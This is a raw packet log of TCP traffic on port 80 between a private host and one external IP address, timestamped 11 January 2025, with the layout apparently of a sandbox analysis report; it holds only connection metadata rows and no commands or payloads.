Jan 11, 2025 05:41:16.309868097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.309901953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.309912920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.309925079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.309928894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310002089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310096979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310108900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310120106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310159922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310307980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310328007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310334921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310349941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310374975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310456038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310468912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310480118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310516119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310548067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310559034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310570002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.310594082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.310611963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.337268114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.343889952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.343902111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.343909979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.343916893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.344028950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.371539116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.371644020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.371656895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.371664047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.371684074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.371778965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.371840954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.371882915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.372701883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.372714043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.372720957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.372797012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.372874022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.372925043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.375385046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375397921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375411034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375458002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.375861883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375868082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375880003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375886917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375891924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.375942945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.375966072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405147076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405164957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405177116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405196905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405209064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405225039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405267000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405339956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405352116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405388117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405432940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405446053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405458927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405467987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405474901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405508041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405663013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405675888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405705929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405724049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405735016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405746937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405756950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405781984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405798912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.405936003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405947924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405960083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.405976057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406009912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406054020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406069994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406083107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406095028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406121016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406136036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406291962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406302929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406315088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406326056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406358957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406383038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406476974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406586885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406598091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406609058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406620026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406624079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406631947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406641006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406651974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406655073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406663895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.406685114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.406703949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.407007933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407020092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407031059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407040119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407051086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407058001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.407063007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407073975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407084942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.407085896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407098055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407109022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.407110929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407145023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.407454014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407465935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407471895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407479048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407485962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407577991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.407782078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407793045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407803059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407809019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407814980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407819986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407826900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407831907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407839060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.407891035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.408371925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408382893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408394098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408411026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408415079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.408421993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408427954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408433914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408438921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.408440113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408447981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408452988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408459902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408466101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.408549070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.409049988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409074068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409081936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409087896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409094095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409105062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409125090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409132957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409136057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.409138918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409146070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409157038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409163952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409171104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409188032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.409239054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.409776926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409787893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409795046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409800053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409806967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409821987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409837008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409842014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409847975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409852028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409857035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409862995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409867048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.409869909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409877062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409883022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409889936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409908056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409919977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409924030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.409987926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.410023928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.434567928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434576035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434592962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434664011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.434694052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.434715986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434726954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434732914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434740067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.434787989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.434851885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462193012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462208033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462219000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462229013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462240934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462244987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.462275982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462280035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.462289095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462299109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.462337971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.480834007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.495956898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.495971918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.495984077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.495995045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496015072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496047020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496081114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496093988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496125937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496181965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496192932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496202946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496213913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496225119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496227980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496243000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496274948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496412039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496423006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496433973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496443033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496457100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496491909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496736050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496794939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496807098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496829987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.496948957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496959925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496970892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.496992111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.497019053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.497093916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.497104883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.497117043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.497145891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.497239113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.497250080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.497262001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.497282982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.497307062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.668653965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.673634052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673651934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673666000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673712015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.673729897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673744917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673779964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.673880100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673892021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673902035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673913956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.673924923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.673954010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674132109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674143076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674154043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674165010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674175978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674176931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674187899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674199104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674212933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674237967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674730062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674740076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674751043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674762011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674777985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674788952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674794912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674799919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674810886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674822092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674823999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674839020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674849987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674860001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674870968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674870968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674880981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674894094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.674902916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.674925089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.675622940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675635099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675646067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675656080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675666094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675672054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675678015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675688982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675698996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.675707102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675718069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675719976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.675729990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675740004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675750017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675759077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.675761938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675772905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.675784111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.675802946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.675826073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676569939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676582098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676592112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676603079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676613092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676621914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676625013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676635027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676645041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676646948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676657915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676668882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676675081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676680088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676691055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676693916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676702023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676712990 CET	80	49706	193.143.1.205	192.168.2.8
